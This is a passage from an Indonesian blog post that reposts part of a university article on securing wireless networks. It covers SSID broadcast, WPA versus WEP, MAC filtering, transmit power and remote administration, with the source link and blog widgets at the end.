• jika password harus dituliskan dan disimpan dalam sebuah file komputer
karena sulit untuk diingat maka simpanlah ditempat yang aman dan file
tersebut di enkripsi.
2. Jangan Melakukan Broadcast terhadap SSID access point.
Kebanyakan access point dan router secara otomatis melakukan proses broadcast
untuk nama jaringan, atau SSID (Service Set IDentifier). Pengaturan ini tentu saja
memudahkan pengaturan jaringan wireless pada client dan membuat perangkat
access point dapat terlihat oleh semua sistem jaringan wireless yang masuk dalam
jangkauan sinyal perangkat access point tersebut. Sehingga dengan mengaktifkan
SSID pada access point tersebut memungkinkan semua pihak untuk mendeteksi
kehadiran dari jaringan access point tersebut baik oleh pihak yang berhak maupun
oleh pihak yang tidak berhak untuk mengakses jaringan tersebut. Hal ini tentu saja
dapat menimbulkan celah keamanan pada jaringan wireless tersebut. Untuk
mengamankan maka sebaiknya fitur SSID broadcast di matikan sehingga jaringan
wireless tersebut menjadi tidak terlihat (invisible) oleh user-user lain yang tidak
berhak dan tidak terdaftar didalam jaringan wireless tersebut. Bagi user awam hal
ini tidak dapat di deteksi tetapi bagi seorang “sniffer” tentunya cara ini tidak
berpengaruh karena dengan menggunakan program-program komputer tertentu
seperti NetStumbler para “sniffer” masih dapat mendeteksi keberadaan perangkat
access point untuk jaringan wireless tersebut.
3. Aktifkan Fitur Keamanan Enkripsi WPA daripada WEP.
Fitur keamaanan enkripsi WEP (Wired Equipment Privacy) yang selama ini banyak
di terapkan pada perangkat access point telah diketahui memiliki banyak
kelemahan sehingga relatif mudah bagi seseorang untuk membuka kode-kode
enkripsinya dan mengakses jaringan wireless hanya dengan menggunakan
perangkat yang tepat. Cara yang lebih baik untuk melindungi jaringan wireless
saat ini adalah dengan menggunakan WPA (Wi-Fi Protected Access). WPA
menyediakan lebih banyak fitur keamanan dan kemudahan dalam
penggunaannya, tidak seperti pada WEP yang membatasi penggunaan karakter
password hanya pada angka 0-9 dan huruf mulai A-F. Dukungan terhadap WPA
sudah disertakan pada sistem operasi windows XP (dengan service pack terbaru)
dan secara virtual pada perangkat jaringan wireless terbaru saat ini dan pada
sistem operasi. Versi WPA terbaru saat ini adalah WPA2 yang dapat ditemukan
pada perangkat jaringan wireless terbaru saat ini dan menyediakan mekanisme
enkripsi yang lebih baik. Namun untuk menggunakan fitur WPA2 ini mungkin saja
harus mendownload patch terbaru pada sistem operasi windows XP. Karena fitur
ini relatif baru dan belum semua sistem operasi windows XP mendukung
penggunaannya.
Gambar 3. Penggunaan enkripsi WEP dan WPA dalam pengamanan jaringan
wireless
4. Gunakanlah WEP daripada tidak menggunakan sama sekali.
Jika ternyata ada beberapa perangkat wireless yang beredar di pasaran saat ini
hanya mendukung enkripsi WEP (biasanya ditemukan pada perangkat yang
berbasis non-PC seperti media player, PDA, dan DVR), maka gunakanlah fitur
enkripsi WEP walaupun relatif tidak aman daripada tidak sama sekali dan
gunakanlah kunci yang sulit untuk ditebak.
5. Gunakan penyaringan terhadap kontrol akses ke jaringan wireless dengan
menggunakan penyaringan MAC.
Tidak seperti penggunaan alamat IP, alamat MAC sifatnya unik untuk
membedakan antara satu perangkat jaringan yang satu dengan yang lainnya.
Sehingga dengan mengaktifkan fitur penyaringan menggunakan MAC maka dapat
dibatasi akses ke dalam jaringan wireless oleh hanya pihak yang alamat MAC-nya
alamat MAC setiap pengguna didalam jaringan wireless maka harus diketahui
terlebih dahulu 12 karakter alamat MAC yang terdapat pada masing-masing
perangkat jaringan yang akan melakukan koneksi ke perangkat access point.
Tentunya cara ini sedikit tidak nyaman dan tidak fleksibel karena seorang
administrator harus mendaftarkan semua alamat MAC untuk setiap user/ client
yang akan terhubung kedalam jaringan tersebut. Jika jumlah client pengguna
jaringan wireless tersebut banyak tentu saja merepotkan seorang administratori
jaringan. Saat ini sudah banyak program yang termasuk kategori “hacking tool”
yang dapat digunakan untuk melakukan pemalsuan/ “spoofing” terhadap alamat
MAC. Sehingga diperlukan perhatian yang cukup teliti dari seorang administrator
jaringan wireless untuk mengetahui mana alamat MAC yang sah dan mana alamat
MAC yang palsu. Sehingga dengan memalsukan/ spoofing alamat MAC sesuai
dengan alamat MAC yang terdaftar didalam jaringan wireless tersebut maka pihak
yang tidak berhak dapat masuk dan mengakses jaringan wireless tersebut.
6. Mengurangi kekuatan pancaran perangkat wireless (access point).
Fitur ini sebenarnya tidak terdapat di semua router wireless dan access point,
tetapi ada beberapa yang perangkat wireless yang menyediakan fitur untuk
menurunkan kekuatan perangkat wireless dalam memancarkan sinyalnya
sehingga jangkauan sinyalnya semakin sempit. Walaupun tidak selamanya
mungkin untuk melakukan proses pengaturan secara tepat untuk ukuran sinyalnya
namun cara ini tetap saja berhasil untuk mengurangi potensi timbulnya celah
keamanan pada sistem jaringan wireless dan meminimalkan peluang pihak diluar
sistem yang tidak berhak untuk mengakses perangkat jaringan wireless tersebut.
7. Matikan fitur/ layanan administrasi jarak jauh.
Hampir semua perangkat router wireless menyediakan fitur untuk dapat dikelola
secara jarak jauh melalui jaringan internet. idealnya, penggunaan fitur ini hanya
pada saat penentuan alamat IP tertentu atau untuk membatasi jangkauan
penggunaan alamat IP yang boleh mengakses perangkat router tersebut. selain
untuk dua kegiatan tersebut diatas, sebaiknya fitur ini dimatikan. karena dengan
mengaktifkan fitur ini maka setiap orang yang berada dalam jangkauan sinyal
perangkat router wireless tersebut berpotensi untuk menemukan dan mengakses
perangkat router wireless tersebut. Sehingga selalu matikan fitur ini sebagai suatu
kebijakan dalam pengelolaan perangkat router didalam sebuah jaringan wireless.
Sehingga seorang administrator tidak dapat melakukan pengelolaan jaringan
wirelessnya secara remote via internet. Biasanya fitur ini secara default dimatikan
oleh vendor pembuat perangkat router tersebut ketika pertama kali dibeli untuk
alasan keamanan. Namun tidak ada salahnya untuk melakukan pengecekan
secara berkala terhadap fitur ini didalam perangkat jaringan wireless apakah benar
sudah di non-aktifkan atau masih aktif.

ini hanya copas jadi tadinya ada gambarnya karena tidak mendukung jadi cuman tulisan di ambil dari
http://dosen.amikom.ac.id/downloads/artikel/2009/11/20091115_WIRELESS%20SECURITY.pdf
amikom mantap

look ! bugs my blog

Arabic Korean Japanese Chinese Simplified Russian Portuguese
English French German Spain Italian Dutch

visitors